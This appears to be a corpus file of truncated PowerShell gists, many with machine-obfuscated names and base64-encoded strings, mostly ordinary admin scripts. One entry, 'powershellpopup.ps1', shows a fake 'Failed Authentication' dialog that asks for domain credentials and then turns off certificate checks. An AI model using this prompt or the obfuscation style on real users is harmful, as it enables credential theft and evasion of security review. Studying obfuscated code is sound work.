PowerShellCorpus/IseSteroids/GithubGist/simplement-e_5382683_raw_775dfca9eba06a5945cc4dfbe585f91142a55748_get-mediation-etat.ps1
simplement-e_5382683_raw_775dfca9eba06a5945cc4dfbe585f91142a55748_get-mediation-etat.ps1
# la recherche à effectuer : ${10001101100000001} = '*sip*' # si vous êtes sur un poste avec vos identifiants sauvegardés Connect-e_session # dans le cas contraire, vous devrez préciser les paramètres # ServerUrl : l'url racine de votre gestion commerciale # Username : l'adresse e-mail de connexion à ...
PowerShellCorpus/IseSteroids/GithubGist/mhinze_6686766_raw_c0231178862e7c9b3407ef11d3f749c5c356385e_Delete-BinObj.ps1
mhinze_6686766_raw_c0231178862e7c9b3407ef11d3f749c5c356385e_Delete-BinObj.ps1
function global:Delete-BinObj() { $path = join-path $solutionScriptsContainer '..' -resolve ls $path -include bin,obj -recurse -Force | remove-item -force -recurse }
PowerShellCorpus/IseSteroids/GithubGist/rheid_2ce55b40971f122d1ceb_raw_a1d6536b16655bd8388f7f57fac12854e5be6ada_EnableAnonymousRESTSearch.ps1
rheid_2ce55b40971f122d1ceb_raw_a1d6536b16655bd8388f7f57fac12854e5be6ada_EnableAnonymousRESTSearch.ps1
Param( [string] $url = $(Read-Host -prompt "Enter Site Collection URL: ") ) if ( (Get-PSSnapin -Name Microsoft.SharePoint.PowerShell -ErrorAction SilentlyContinue) -eq $null ) { Add-PsSnapin Microsoft.SharePoint.PowerShell } Write-Host " " Write-Host " Script provided by Summit 7 Systems for information/e...
PowerShellCorpus/IseSteroids/GithubGist/jtuttas_7ce1e86ade150af78670_raw_acd110fa14fd2ec37701b489f78b65b1327fbcf0_News%20Webservice.ps1
jtuttas_7ce1e86ade150af78670_raw_acd110fa14fd2ec37701b489f78b65b1327fbcf0_News%20Webservice.ps1
# Login iwr "http://192.168.178.29/mmbbsapp/news.php?user=mmbbs&password=mmbbs" -SessionVariable s # Logout iwr "http://192.168.178.29/mmbbsapp/news.php?cmd=logout" -WebSession $s # Abfrage letzte News iwr http://192.168.178.29/mmbbsapp/news.php -WebSession $s # Abfragen News ab ID iwr http://192.168.178.29/mmbb...
PowerShellCorpus/IseSteroids/GithubGist/ambar_1633576_raw_c1d13b04fb6bc0dfad4cd1b9649b7c5944d7c4da_convert.ps1
ambar_1633576_raw_c1d13b04fb6bc0dfad4cd1b9649b7c5944d7c4da_convert.ps1
# mkdir md output # get-content , set-content -encoding # 括号是必须的 ls *.txt | %{ gc $_ | sc -en utf8 ('output/'+$_.name) }
PowerShellCorpus/IseSteroids/GithubGist/adminian_ae7a06f5e84c79949405_raw_19c30e15a3014c6c91950d3fe63824470e7df11f_Get-AzureUpdates.ps1
adminian_ae7a06f5e84c79949405_raw_19c30e15a3014c6c91950d3fe63824470e7df11f_Get-AzureUpdates.ps1
workflow Get-AzureUpdates { $cred = Get-AutomationPSCredential -Name "<Cred Asset Name>" inlineScript { $url = "http://azure.microsoft.com/en-us/updates/feed/" $posts = @() $group = "<GroupName>+<NetworkName>@yammer.com" $from = "<yammer email address>" $smtp = "<SMTP server>" ...
PowerShellCorpus/IseSteroids/GithubGist/rossnz_5609904_raw_d668df698ccb7600ccebce9224263194d5748859_Get-UserAgent.ps1
rossnz_5609904_raw_d668df698ccb7600ccebce9224263194d5748859_Get-UserAgent.ps1
function Get-UserAgent { # Uses PowerShell's prebuilt UA strings. See # http://goo.gl/9IGloI param ( [Parameter( Mandatory = $false, Position = 0, [ValidateSet('Firefox','Chrome','InternetExplorer','Opera','Safari')] [string]$browsertype ) ...
PowerShellCorpus/IseSteroids/GithubGist/gravejester_5041943_raw_4e7e0e8b60289a4dd57c3f52bcc2783168d7e9ce_wget.ps1
gravejester_5041943_raw_4e7e0e8b60289a4dd57c3f52bcc2783168d7e9ce_wget.ps1
# PowerShell wget # Version 1.0 [CmdletBinding()] param( [Parameter(ValueFromPipeline = $true, Mandatory = $true)] $url, $dest = (Get-Location).Path ) if(!$url){break} $filesplit = $url.split("\/") $file = $filesplit[($filesplit.length-1)] $fulldest = $dest + "\" + $file (New-Object System.Net.WebClie...
PowerShellCorpus/IseSteroids/GithubGist/r-tanner-f_5366959_raw_743dd3a8890354764436cdf035796bd0ae8d4cd7_stupid_invoke-command_test.ps1
r-tanner-f_5366959_raw_743dd3a8890354764436cdf035796bd0ae8d4cd7_stupid_invoke-command_test.ps1
$remoteservices = invoke-command -computer eaglexa1 -scriptblock { $a = gsv $b = ps return $a } $remoteservices | ft -Property Name,Status
PowerShellCorpus/IseSteroids/GithubGist/sunnyc7_11219860_raw_7a7df7f1d3fd3663b47c6ec2bc1846771a2553f7_Send-EmailMessage.ps1
sunnyc7_11219860_raw_7a7df7f1d3fd3663b47c6ec2bc1846771a2553f7_Send-EmailMessage.ps1
Function Send-EMailMessage { [CmdletBinding()] param( [Parameter(Position=1, Mandatory=$true)] [String[]] $To, [Parameter(Position=2, Mandatory=$false)] [String[]] $CcRecipients, [Parameter(Position=3, Mandatory=$false)] [String[]] $BccRecipients, [Parameter(Pos...
PowerShellCorpus/IseSteroids/GithubGist/objectx_4131424_raw_06d5a50164054dc70b0b7b9aba7a8c44439c69a2_gistfile1.ps1
objectx_4131424_raw_06d5a50164054dc70b0b7b9aba7a8c44439c69a2_gistfile1.ps1
$mydir = Split-Path -parent $MyInvocation.MyCommand.Path $work_dir = [Environment]::GetFolderPath("MyDocuments") function start_process () { $veracity = Join-Path $(Get-Item HKLM:\Software\Sourcegear\Veracity).GetValue("InstallPath") "vv.exe" $processStartInfo = New-Object System.Diagnostics.ProcessStartInf...
PowerShellCorpus/IseSteroids/GithubGist/kondratyev-nv_1d2de9ec85a93572ebc7_raw_13ab41fa2c7265c78aa7a405bc05b982ddfce795_rename.ps1
kondratyev-nv_1d2de9ec85a93572ebc7_raw_13ab41fa2c7265c78aa7a405bc05b982ddfce795_rename.ps1
${1}=$args[0] ren .\project.vcxproj .\${1}.vcxproj ren .\solution.sln .\${1}.sln ${3} = gc .\${1}.sln ${3} | %{ $_ -creplace $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAByAG8AagBlAGMAdAA='))), ${1} }| sc .\${1}.sln ${2} = gc .\${1}.vcxproj ${2} | %{ $_ -creplace $([Text.Encoding]::Unicod...
PowerShellCorpus/IseSteroids/GithubGist/russellds_9688526_raw_9a7cf684053a6f16c799fc7ed4d3ade3162985b1_ConvertFrom-Html.ps1
russellds_9688526_raw_9a7cf684053a6f16c799fc7ed4d3ade3162985b1_ConvertFrom-Html.ps1
function ConvertFrom-Html { #.Synopsis # Convert a table from an HTML document to a PSObject #.Example # Get-ChildItem | Where { !$_.PSIsContainer } | ConvertTo-Html | ConvertFrom-Html -TypeName Deserialized.System.IO.FileInfo # Demonstrates round-triping files through HTML param( #...
PowerShellCorpus/IseSteroids/GithubGist/codingoutloud_6782961_raw_2aee061f8ca07e78ca795092cad2ebff8e157223_which.ps1
codingoutloud_6782961_raw_2aee061f8ca07e78ca795092cad2ebff8e157223_which.ps1
function WhichOnes { if ($args.Count -eq 0) { Write-Host $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGEAZwBlADoAIAB3AGgAaQBjAGgAIABbAGMAbQBkADEAXQAgAFsAYwBtAGQAMgBdACAALgAuAC4A'))) } else { gcm $args -All -ErrorAction SilentlyContinue | ft Defin...
PowerShellCorpus/IseSteroids/GithubGist/kyam_5575898_raw_8ef8db78d4b33558dd7dd3065a02263049b9bca0_Listed_InstalledApps.ps1
kyam_5575898_raw_8ef8db78d4b33558dd7dd3065a02263049b9bca0_Listed_InstalledApps.ps1
# Mapping Registry ${/==\/\___/\/\/\__} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbAA='))) ndr -Name Uninsta...
PowerShellCorpus/IseSteroids/GithubGist/astaykov_c68bc86f43ba28163312_raw_6d367f68e5cb005f3d7d5e2fb223b13ce75709f1_AzureCloudServiceAntiMalwareProtection.ps1
astaykov_c68bc86f43ba28163312_raw_6d367f68e5cb005f3d7d5e2fb223b13ce75709f1_AzureCloudServiceAntiMalwareProtection.ps1
Add-AzureAccount Select-AzureSubscription -SubscriptionName 'PUT HERE YOUR SUBSCRIPTION' [System.Xml.XmlDocument] ${/==\/\/\___/=\__/} = New-Object System.Xml.XmlDocument ${/==\/\/\___/=\__/}.load('D:\tmp\AntiMalware.config') Set-AzureServiceAntimalwareExtension -ServiceName "PUT HERE THE CLOUD SERVICE NAME" -Antimalw...
PowerShellCorpus/IseSteroids/GithubGist/DavidWise_4438004_raw_a062b06634c8522ecb6536a91751b3e82f2a6ee6_Highlight-Syntax.ps1
DavidWise_4438004_raw_a062b06634c8522ecb6536a91751b3e82f2a6ee6_Highlight-Syntax.ps1
# Original Author: Lee Holmes, http://www.leeholmes.com/blog/MorePowerShellSyntaxHighlighting.aspx # Modified by: Helge Klein, http://blogs.sepago.de/helge/ # (http://blogs.sepago.de/e/helge/2010/01/18/syntax-highlighting-powershell-code-in-html-with-a-powershell-script) # Modified again by: David Wise, ht...
PowerShellCorpus/IseSteroids/GithubGist/gravejester_bf39cd17808ae89598d0_raw_17591be0dd06125c430024e71572b62f1b49e762_Invoke-SqlCommand.ps1
gravejester_bf39cd17808ae89598d0_raw_17591be0dd06125c430024e71572b62f1b49e762_Invoke-SqlCommand.ps1
function Invoke-SqlCommand{ <# .SYNOPSIS Invoke SQL command(s) to a database server. .DESCRIPTION This function will take a SQL query and a database connection and rund the SQL query/commands and optionally return data as a DataTable object. .EXAMPLES ...
PowerShellCorpus/IseSteroids/GithubGist/fengyitsai_6948146_raw_f2307cb5e4d7d7c73c51162e35bfe5a763345b2d_gistfile1.ps1
fengyitsai_6948146_raw_f2307cb5e4d7d7c73c51162e35bfe5a763345b2d_gistfile1.ps1
#!/bin/bash # if else if [ 2 = 1 ] ; then echo "2=1" elif [ 2 = 3 ] ; then echo "2=3" else echo "else" fi # for loop for word in "aaa" "bbb" "ccc" "ddd" do echo $word done # while loop i=0 while [ $i -lt 5 ] ; do echo $i ((i++)) done # until loop i=0 until [ $i -gt 4 ] ; do echo $i ...
PowerShellCorpus/IseSteroids/GithubGist/thorade_b05f2da5a5d258253af0_raw_83ea8cc92808690e44f0f7fe8af7aa810fafd28c_normalizeEOLF.ps1
thorade_b05f2da5a5d258253af0_raw_83ea8cc92808690e44f0f7fe8af7aa810fafd28c_normalizeEOLF.ps1
cls; $scanDir = "BuildingSystems" $normalizeEOL = $FALSE $curPath = Split-Path -Parent $MyInvocation.MyCommand.Path $scanPath = $curPath + "\" + $scanDir $textFiles = ls -Recurse $scanPath -include *.h,*.mo,*.mos,*.order,*.txt -exclude *.csv,*.dat,*.md ForEach ($file In $textFiles){ ...
PowerShellCorpus/IseSteroids/GithubGist/michaellwest_1db258e206beea164e5b_raw_f5300c421523906139163fa268e59ee975a2d36e_Delete%20unused%20media%20items%20older%20than%2030%20days.ps1
michaellwest_1db258e206beea164e5b_raw_f5300c421523906139163fa268e59ee975a2d36e_Delete%20unused%20media%20items%20older%20than%2030%20days.ps1
<# .SYNOPSIS Moves items to the recycle bin which are more than 30 days old and have no references. .NOTES Michael West #> filter _/==\/==\__/\_/\/= { $linkDb = [Sitecore.Globals]::LinkDatabase if($linkDb.GetReferrerCount($_) -eq 0) { $_ } } $date = [datetim...
PowerShellCorpus/IseSteroids/GithubGist/dfinke_328a511d03f41bcb88b3_raw_66d07af2e5d2f6829b1adcf6966307d523ccdc16_Get-GithubEvent.ps1
dfinke_328a511d03f41bcb88b3_raw_66d07af2e5d2f6829b1adcf6966307d523ccdc16_Get-GithubEvent.ps1
function Get-GithubEvent { param($userId,$Password) function f1 { param($userId,$Password) ${4} = "$($userId):$($Password)" ${4} = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(${4})) @{ "Authorization" = $([Tex...
PowerShellCorpus/IseSteroids/GithubGist/GhostTW_647a888e245a1969e33c_raw_8795cd18143e321aaf8b56e60f06e264d1c2c040_win_autoinstall_chocolatey.ps1
GhostTW_647a888e245a1969e33c_raw_8795cd18143e321aaf8b56e60f06e264d1c2c040_win_autoinstall_chocolatey.ps1
${4} = @("GoogleChrome", "thunderbird", "skype", "vlc", "quicktime", "flashplayerplugin", "javaruntime", "DotNet4.5", "utorrent", "dropbox", "Teracopy", "7zip.install", "python", "eclipse-java-juno", "notepadplusplus.install", "git.install", "ccleaner", "evernote", "GitHub", "keepass.install", "line", "nmap...
PowerShellCorpus/IseSteroids/GithubGist/obsidience_9946855_raw_71a4cab66c2c9e1617f2b0dba1e9ed2657e7b1f3_Fix-InvalidDates.ps1
obsidience_9946855_raw_71a4cab66c2c9e1617f2b0dba1e9ed2657e7b1f3_Fix-InvalidDates.ps1
$Folder = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAHMAZQByAHYAZQByAFwAcABhAHQAaAA='))) $Files = ls -Path $Folder -Recurse $OldestDate = New-Object System.DateTime(1,1,1970) $NewestDate = $(Get-Date).AddDays(1) $CurrentDate = Get-Date foreach($File in $Files) { if($File.Creatio...
PowerShellCorpus/IseSteroids/GithubGist/jacobludriks_0f9047a6d3011f13b90f_raw_9607469d2dae993c7de1c97c6e09e58b8ddb3b90_localadministrator.ps1
jacobludriks_0f9047a6d3011f13b90f_raw_9607469d2dae993c7de1c97c6e09e58b8ddb3b90_localadministrator.ps1
$serverou = "OU=All Member Servers,DC=domain,DC=com" $servers = Get-ADComputer -Filter * -SearchBase $serverou $array = @() foreach ($server in $servers) { $Error.Clear() $wmi = gwmi -ComputerName $server.name -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$($server.name)',N...
PowerShellCorpus/IseSteroids/GithubGist/mubix_b0fee7ba02ba8a225125_raw_a29a2fa819a61309f08bbe812d74dcde0766ae38_powershellpopup.ps1
mubix_b0fee7ba02ba8a225125_raw_a29a2fa819a61309f08bbe812d74dcde0766ae38_powershellpopup.ps1
$cred = $host.ui.promptforcredential($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbABlAGQAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4A'))),'',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); [System.Net.ServicePointManager]::ServerCertificateValidat...
PowerShellCorpus/IseSteroids/GithubGist/vScripter_075fbbb0fc1cf5e9d482_raw_cfd8e2ed13b56d722b8a3ecf07f383babcff6513_Get-VMToolsB2VMapping.ps1
vScripter_075fbbb0fc1cf5e9d482_raw_cfd8e2ed13b56d722b8a3ecf07f383babcff6513_Get-VMToolsB2VMapping.ps1
<# A more complete function can be found in my PowerCLI 'prod' repo at: https://github.com/vMotioned/PowerCLI/blob/master/Get-VMToolsBuildToVersionMapping.ps1 #> Invoke-RestMethod -Method Get -Uri 'http://packages.vmware.com/tools/versions'
PowerShellCorpus/IseSteroids/GithubGist/mbrownnycnyc_6877244fdfc095625549_raw_11eb4ca858250cb0ddf86b2c8b269af478b3896c_make-achart.ps1
mbrownnycnyc_6877244fdfc095625549_raw_11eb4ca858250cb0ddf86b2c8b269af478b3896c_make-achart.ps1
ipmo .\charting.psm1 -Force ${10010100010010111} = @{ "Microsoft" = 800 "Apple" = 250 "Google" = 400 "RIM" = 0 } New-Chart -Dataset ${10010100010010111} | Show-Chart ${00100011101000001} = [ordered]@{} [xml]${00000110011100100} = (iwr -Uri http://www.yr.no/place/Norway/Oslo/...
PowerShellCorpus/IseSteroids/GithubGist/peaeater_2d985fa25e575fffd2c6_raw_ef4b0fe4daf5ac3653d08cd0131e2a1298677d72_solr-dih-ingest-with-polling.ps1
peaeater_2d985fa25e575fffd2c6_raw_ef4b0fe4daf5ac3653d08cd0131e2a1298677d72_solr-dih-ingest-with-polling.ps1
param( [Parameter(Mandatory=$false,Position=0)] [string]$logsrc = "Andi Solr Update" ) $triggerUrl = "http://localhost:8983/solr/core1/dataimport?command=full-import&clean=true&optimize=true&wt=xml" $statusUrl = "http://localhost:8983/solr/core1/dataimport?command=status&wt=xml&indent=on" [int]$in...
PowerShellCorpus/IseSteroids/GithubGist/sweeneyrobb_bdeef74630a38086e3b3_raw_110d1e37a3daaee997dbd6bcc23455859d617e0c_New-Zip.ps1
sweeneyrobb_bdeef74630a38086e3b3_raw_110d1e37a3daaee997dbd6bcc23455859d617e0c_New-Zip.ps1
function New-Zip ( $zipFile, $file ) { if ($file -is [string]) { $file = Get-Item $file } set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) $zipFile = Get-Item $zipFile $zipFile.IsReadOnly = $false $zip = (New-Object -ComObject shell.application).NameSpace($zip...
PowerShellCorpus/IseSteroids/GithubGist/cromwellryan_4657224_raw_ecd0ef4e434f4f185327a3325ae111896ad3b5a5_Get-Shelveset.ps1
cromwellryan_4657224_raw_ecd0ef4e434f4f185327a3325ae111896ad3b5a5_Get-Shelveset.ps1
[Reflection.Assembly]::LoadWithPartialName("Microsoft.TeamFoundation.Client") [Reflection.Assembly]::LoadWithPartialName("Microsoft.TeamFoundation.Common") $script:tpcUrl "your tpc" function Get-ShelvsetUrl { <# .Synopsis Determines the url for a TFS Shelveset. .Description Determine the url for ...
PowerShellCorpus/IseSteroids/GithubGist/dfch_d5990fdb391fe1b84b76_raw_2c45aebbff6937cc16b673ab2b94657251aed7dd_Convert-Currency.ps1
dfch_d5990fdb391fe1b84b76_raw_2c45aebbff6937cc16b673ab2b94657251aed7dd_Convert-Currency.ps1
Param ( [Parameter(Mandatory = $true, Position = 0)] [string] $From , [Parameter(Mandatory = $true, Position = 1)] [string] $To , [Parameter(Mandatory = $false, Position = 2)] [Alias("Amount")] [double] $Value = 1 , [Parameter(Mandatory = $false, Position = 3)] [Alias("When")] [DateTime] $...
PowerShellCorpus/IseSteroids/GithubGist/jstangroome_2505593_raw_fadd181c115f6b7373118651a3106181bc840a1e_Positional.ps1
jstangroome_2505593_raw_fadd181c115f6b7373118651a3106181bc840a1e_Positional.ps1
function _____/\/\__/=\/\/= { [CmdletBinding(DefaultParameterSetName='Default')] param ( [Parameter(Mandatory=$true, ParameterSetName='Default', Position=0)] $Default, [Parameter(Mandatory=$true, ParameterSetName='Alternate')] $Alternate, [Parameter(P...
PowerShellCorpus/IseSteroids/GithubGist/ziqbalbh_7956710_raw_1723dabadf540a0e2f495766ff7b5a3e22b660ac_csv-split-trim.ps1
ziqbalbh_7956710_raw_1723dabadf540a0e2f495766ff7b5a3e22b660ac_csv-split-trim.ps1
$CSVData = @("One , Two , Three ") $Data = $CSVData -split (",") $Data = $CSVData -split ',' | foreach {$_.Trim()} $CSVData.Split(",").Trim() $Data = $CSVData -split '\s*,\s*'
PowerShellCorpus/IseSteroids/GithubGist/andrewabest_8776157_raw_9c5c0c13928c7531658f99220e81011491b4a9a4_Deploy.ps1
andrewabest_8776157_raw_9c5c0c13928c7531658f99220e81011491b4a9a4_Deploy.ps1
Write-Host 'Copy the package payload over to the clickonce web application location' ${11} = ".\" ${8} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwATwBjAHQAbwBwAHUAcwBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzAFwAJAB7AE8AYwB0AG8AcAB1AHMARQBuAHYAaQByAG8Ab...
PowerShellCorpus/IseSteroids/GithubGist/tanaka-takayoshi_8066824_raw_bf804bf48e33c2015a0702f108f584fd80e50c16_Get-SystemPowerStatus.ps1
tanaka-takayoshi_8066824_raw_bf804bf48e33c2015a0702f108f584fd80e50c16_Get-SystemPowerStatus.ps1
$signature = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACwAIABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgAgAD0AIAB0AHIAdQBlACkAXQANAAoAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABCAG8AbwBsAGUAYQBuACAARwBlAHQAUwB5AHMAdABlAG0AU...
PowerShellCorpus/IseSteroids/GithubGist/gravejester_1290947b5da8dd9e733d_raw_82208a3f7bd0da310b718cf4d71182e014bb92e4_New-MsSqlConnection.ps1
gravejester_1290947b5da8dd9e733d_raw_82208a3f7bd0da310b718cf4d71182e014bb92e4_New-MsSqlConnection.ps1
function New-MsSqlConnection { <# .SYNOPSIS Create a new MSSQL database connection. .DESCRIPTION This function will create a new Microsoft SQL Server database connection and return a database connection object. .EXAMPLE New-MsSqlConnection -Database...
PowerShellCorpus/IseSteroids/GithubGist/jonschoning_1149265_raw_7f5a60fc896b1b3d3a62d3b4c5a90d304a07761d_Get-SubDirSizes.ps1
jonschoning_1149265_raw_7f5a60fc896b1b3d3a62d3b4c5a90d304a07761d_Get-SubDirSizes.ps1
function Get-SubDirSizes { param([Parameter(Mandatory=$true)] [string] $path) dir $path -force | ? { $_.PSIsContainer} | % { new-object PsObject -property @{ Length = (dir $_.FullName -recurse -force | ? {! $_.PSIsContainer} | measure-object -sum Length).Sum; Name = $_.Name ...
PowerShellCorpus/IseSteroids/GithubGist/mefellows_9a67b17a571fcffa1bd0_raw_fd41f7383568ec492744a315fa1e502dbbe854fc_gistfile1.ps1
mefellows_9a67b17a571fcffa1bd0_raw_fd41f7383568ec492744a315fa1e502dbbe854fc_gistfile1.ps1
set-executionpolicy unrestricted new-item alias:subl -value $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFMAdQBiAGwAaQBtAGUAIABUAGUAeAB0ACAAMwBcAHMAdQBiAGwAaQBtAGUAXwB0AGUAeAB0AC4AZQB4AGUA'))) new-item alias:ll -value 'ls'
PowerShellCorpus/IseSteroids/GithubGist/miwaniza_9041042_raw_fb97311756dccedc091f358af6ff9f19c6ffcf65_Login-VaultServer-Cmd_Ed.ps1
miwaniza_9041042_raw_fb97311756dccedc091f358af6ff9f19c6ffcf65_Login-VaultServer-Cmd_Ed.ps1
param ($help,$VServer,$VVault,$VUser,$VPass,$VOut) $WebServicesPath2014=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEEAdQB0AG8AZABlAHMAawBcAEEAdQB0AG8AZABlAHMAawAgAFYAYQB1AGwAdAAgADIAMAAxADQAIABTAEQASwBcAGIAaQBuAFwAQQB1AHQAbwBkAGUAcwBrA...
PowerShellCorpus/IseSteroids/GithubGist/bblade_4713294_raw_4777f8f97145bba4127065e9373cb6e415fd1038_Purge-Old-Items.ps1
bblade_4713294_raw_4777f8f97145bba4127065e9373cb6e415fd1038_Purge-Old-Items.ps1
$HomeFolder = "C:\TEMP" $KeepDays = "-1" $Date = Get-Date $PurgeDays = $Date.AddDays($KeepDays) Get-ChildItem $HomeFolder -Recurse | ` Where-Object { $_.CreatedTime -lt $PurgeDays } | ` Remove-Item -Recurse
PowerShellCorpus/IseSteroids/GithubGist/mpicker0_5680072_raw_88756c9d6cf306e0b0824a6cd98b917f06a3ee03_Create-WebConfigTransform.ps1
mpicker0_5680072_raw_88756c9d6cf306e0b0824a6cd98b917f06a3ee03_Create-WebConfigTransform.ps1
<# .SYNOPSIS Create a configuration transformation .DESCRIPTION This script runs an ASP.NET configuration transformation, given a source configuration and transformation file. MSBuild.exe is assumed to be in the path, and Visual Studio 2012 should be installed. Modify the path to Microsoft.Web.Publishing.Tas...
PowerShellCorpus/IseSteroids/GithubGist/dfinke_8127413_raw_e789ce79fb7bd06fc0231be99a6a8a711f5d38e9_ConvertTo-PigLatin.ps1
dfinke_8127413_raw_e789ce79fb7bd06fc0231be99a6a8a711f5d38e9_ConvertTo-PigLatin.ps1
function ConvertTo-PigLatin { param( [Parameter(ValueFromPipeline)] [string[]]$string ) Process { $r += $(foreach($s in $string) { if(echo b c d f g h j k l m n p q r s t v w x y z -eq $s[0]) { $([Text.Encoding]::Unicode.GetString([Conv...
PowerShellCorpus/IseSteroids/GithubGist/hotpicklesoup_a084d3da7475b8584728_raw_5d7c65cf5460bc2e8c3e9693b3a9e866a0c30ced_UpdateFirewallConfig.ps1
hotpicklesoup_a084d3da7475b8584728_raw_5d7c65cf5460bc2e8c3e9693b3a9e866a0c30ced_UpdateFirewallConfig.ps1
function UpdateFirewallConfig { Param ( $SRC_config, $DST_config ) # Compare the sections to see if the are new, existing, or extraneous. $diff_sections = Compare-Object $dst_config.firewallconfiguration.layer3sections.section $src_config.firewallconfiguration.layer3sections.section -Property name -Includ...
PowerShellCorpus/IseSteroids/GithubGist/threecourse_7852959_raw_f894a4d5e06660e7ba3d264bdaa3e2a90ee59d45_CSharpCompileRun.ps1
threecourse_7852959_raw_f894a4d5e06660e7ba3d264bdaa3e2a90ee59d45_CSharpCompileRun.ps1
# --------------------------------------------------------------------- # PowershellからC#コードをコンパイル・実行するサンプル # # (参考) # http://codezine.jp/article/detail/5007 # # (注意点) # .NET Frameworkの制約上、Add-Typeによる型の追加を再実行するにはã€...
PowerShellCorpus/IseSteroids/GithubGist/dfinke_3923295_raw_9d9f05c1790d6e1581483e3c2a5f4750edb95b14_InvokeCompileAllTS.ps1
dfinke_3923295_raw_9d9f05c1790d6e1581483e3c2a5f4750edb95b14_InvokeCompileAllTS.ps1
function Invoke-CompileAllTS { <# .Synopsis Recursively searches for TypeScript files and invokes the compiler on the target .Example Invoke-CompileAllTS #> ls . -Recurse *.ts | ForEach {tsc $_.fullname} }